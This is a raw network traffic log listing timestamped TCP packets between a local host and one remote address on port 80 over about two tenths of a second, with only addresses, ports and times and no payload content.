Oct 7, 2024 03:03:06.366148949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366173029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366173983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366204977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366226912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366250992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366254091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366285086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366306067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366317034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366333008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366348982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366369963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366380930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366394997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366411924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366432905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366445065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.366460085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.366497040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.367024899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.367055893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.367083073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.367089033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.367106915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.367136002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.367137909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.367168903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.367187977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.367201090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.367217064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.367250919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.431832075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.431875944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.431931019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.431941032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.431967020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.431974888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432007074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432018995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432034969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432053089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432069063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432085991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432100058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432118893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432133913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432167053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432174921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432205915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432219982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432239056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432252884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432270050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432284117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432306051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432316065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432334900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.432354927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.432436943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.441894054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.441931009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.441975117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.441982031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442009926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442011118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442037106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442043066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442063093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442075968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442085028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442106962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442125082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442154884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442167997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442187071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442200899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442219973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442229986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442264080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442267895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442298889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442312002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442328930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442342997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442373991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442426920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442457914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442471981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442506075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442508936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442539930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442555904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442572117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442586899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442605019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442615032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442637920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442653894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442670107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442683935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442702055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442733049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442754030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442768097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442796946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442801952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442831039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.442845106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.442882061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451374054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451447010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451478004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451528072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451560020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451577902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451594114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451636076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451642990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451659918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451673985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451699018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451705933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451728106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451738119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451751947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451767921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451782942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451802015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451813936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451848030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451849937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451881886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451898098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451913118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451926947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451946974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.451962948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.451980114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452002048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452030897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452095032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452126026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452145100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452157974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452173948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452189922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452203989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452223063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452234983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452255011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452270985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452287912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452306986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452337980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452372074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452425003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452440977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452455997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452466965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452502012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452503920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452537060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452549934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452569008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452584982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452600956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452622890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452635050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452647924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452681065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452791929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452824116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452841997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452857018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452866077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452900887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452933073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452964067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.452979088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.452996016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453021049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453041077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453043938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453109026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453151941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453196049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453202009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453232050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453247070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453263998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453279018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453295946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453309059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453327894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453341961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453360081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453377962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453392029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453403950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453425884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453438997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453470945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453567028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453614950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453619003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453649998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453664064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453696012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453710079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453741074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453758001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453773022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453784943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453807116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453821898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453851938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453869104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453900099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453912973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453932047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453943968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453964949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.453975916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.453995943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454008102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454029083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454039097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454071999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454077005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454109907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454125881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454142094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454153061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454184055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454231977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454262972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454272032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454298019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454308987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454340935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454495907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454545021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.454585075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.454629898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522360086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522429943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522476912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522476912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522489071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522535086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522537947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522583961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522584915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522617102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522631884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522650957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522664070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522712946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522730112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522743940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522775888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522785902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522785902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522809029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522821903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522842884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522850037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522876024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522886038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522912025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522924900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522939920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.522953987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.522984982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532596111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532627106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532650948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532675028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532675028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532707930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532722950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532752991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532756090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532789946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532805920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532821894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532834053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532866001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532870054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532912016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532917976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532951117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532967091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.532998085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.532998085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533046961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533047915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533078909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533096075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533112049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533124924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533158064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533158064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533210039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533276081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533304930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533329010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533334970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533354044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533368111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533368111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533397913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533411026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533430099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533442020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533461094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533474922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533495903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533502102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533523083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.533540964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.533557892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542193890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542222023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542252064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542265892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542269945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542303085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542313099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542332888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542346001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542378902 CEST	49731	80	192.168.2.4	46.8.231.109
